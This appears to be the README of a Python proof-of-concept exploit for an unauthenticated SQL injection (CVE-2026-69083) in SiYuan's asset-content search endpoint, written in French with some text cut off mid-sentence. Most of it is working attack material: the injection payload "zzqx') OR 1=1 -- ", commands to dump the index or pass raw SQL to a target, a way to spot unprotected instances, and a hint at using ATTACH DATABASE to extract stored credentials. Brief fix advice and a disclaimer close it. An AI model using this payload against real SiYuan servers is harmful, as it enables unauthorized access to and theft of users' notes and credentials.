
PoC Python pour CVE-2026-69083, une injection SQL non authentifiée dans le point de terminaison de recherche de contenu des assets de SiYuan. Prend en charge l'évasion REGEXP et la transmission directe de SQL brut pour extraire les assets indexés et les données SQLite associées.
Injection SQL non authentifiée dans SiYuan (une application de base de connaissances basée sur Go) via le point de terminaison de recherche du contenu des actifs.
POST /api/search/fullTextSearchAssetContent construit une instruction SQL brute en concaténant la
valeur query contrôlée par l'utilisateur directement dans une clause REGEXP sans échappement
(kernel/model/asset_content.go, assetContentFieldRegexp) :
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
Un guillemet simple dans query permet de s'échapper de la chaîne littérale (CWE-89). Lorsque
SiYuan est déployé sans code d'authentification d'accès (Conf.AccessAuthCode == ""), tout le noyau
considère les appelants comme des administrateurs, sans aucune information d'identification ;
l'injection est donc entièrement non authentifiée. method:3 est l'évasion de la clause REGEXP ;
method:2 transmet en plus query comme instruction SQL brute.
< 3.7.36806 (non authentifié lorsqu'aucun accessAuthCode n'est défini)ATTACH DATABASE vers d'autres fichiers SQLite) — par exemple, extraire les identifiants
que les opérateurs ont indexés dans leurs notes.Uniquement la bibliothèque standard de Python 3 — aucune dépendance.
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/
# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password
# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
La charge utile par défaut est :
query = "zzqx') OR 1=1 -- "
zzqx') ferme le groupe (name REGEXP '...',OR 1=1 rend la clause WHERE toujours vraie,-- commente le reste de la ligne, y compris le AND ext IN <types> final — qui est sinon une
erreur de syntaxe lorsque types est vide (SiYuan émet AND ext IN sans rien après, et le
noyau renvoie silencieusement zéro ligne en cas d'erreur SQL).Le point de terminaison renvoie alors chaque ligne de l'index du contenu des actifs, et l'outil
affiche le content de chaque ligne.
curl -s http://10.10.10.10:6806/system_stats # or browse http://10.10.10.10:6806/ (no login prompt)
Une instance SiYuan sur le port 6806 qui se charge sans code d'authentification d'accès est exploitable.
... REGEXP ?) et conditionne le chemin SQL
brut de la méthode 2 à un contrôle d'administrateur.--accessAuthCode ; ne l'exposez jamais sans authentification —
sans code d'authentification d'accès, toute l'API du noyau est ouverte aux administrateurs.Pour des tests de sécurité autorisés et à des fins éducatives uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez l'autorisation explicite de tester.